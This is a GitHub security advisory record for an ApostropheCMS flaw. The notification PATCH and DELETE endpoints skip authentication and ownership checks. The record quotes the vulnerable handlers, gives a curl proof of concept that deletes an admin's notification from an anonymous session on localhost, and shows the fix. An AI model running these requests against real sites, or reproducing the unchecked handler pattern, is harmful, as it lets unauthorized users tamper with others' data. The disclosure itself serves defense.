CVE-2026-113665: ApostropheCMS Missing Authorization On Notification PATCH/DELETE Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vwwx-px9w-crrc",
  "modified" : "2026-10-20T18:25:38Z",
  "published" : "2026-10-20T18:25:38Z",
  "aliases" : [ "CVE-2026-113665" ],
  "summary" : "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints",
  "details" : "## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n\n    await self.db.updateOne(\n      { _id },\n      {\n        $set: { dismissed },\n        $currentDate: { updatedAt: true }\n      }\n    );\n  }\n},\n\nasync delete(req, _id) {\n  await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user && req.user._id)) {\n  throw self.apos.error('invalid');\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"username\":\"admin\",\n  \"password\":\"AdminP@ssw0rd123!\",\n  \"session\":true\n}'\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"message\":\"manual verify test\",\n  \"type\":\"info\"\n}'\n```\n\nExample response:\n\n```json\n{\n  \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[\n    {\n      \"_id\":\"p358r7phi2w8l245ww5130uf\",\n      \"userId\":\"i89h844o5n3nbreis0ugusum\",\n      \"message\":\"manual verify test\"\n    }\n  ],\n  \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[],\n  \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user's notifications.\n- Mark another user's notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n    const result = await self.db.updateOne(\n      { _id, userId: req.user._id },   // <-- ownership check\n      { $set: { dismissed }, $currentDate: { updatedAt: true } }\n    );\n    if (!result.matchedCount) {\n      throw self.apos.error('notfound');\n    }\n  }\n},\n// delete\nasync delete(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const result = await self.db.deleteMany({ _id, userId: req.user._id });\n  if (!result.deletedCount) {\n    throw self.apos.error('notfound');\n  }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.33.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-20T18:25:38Z",
    "nvd_published_at" : null
  }
}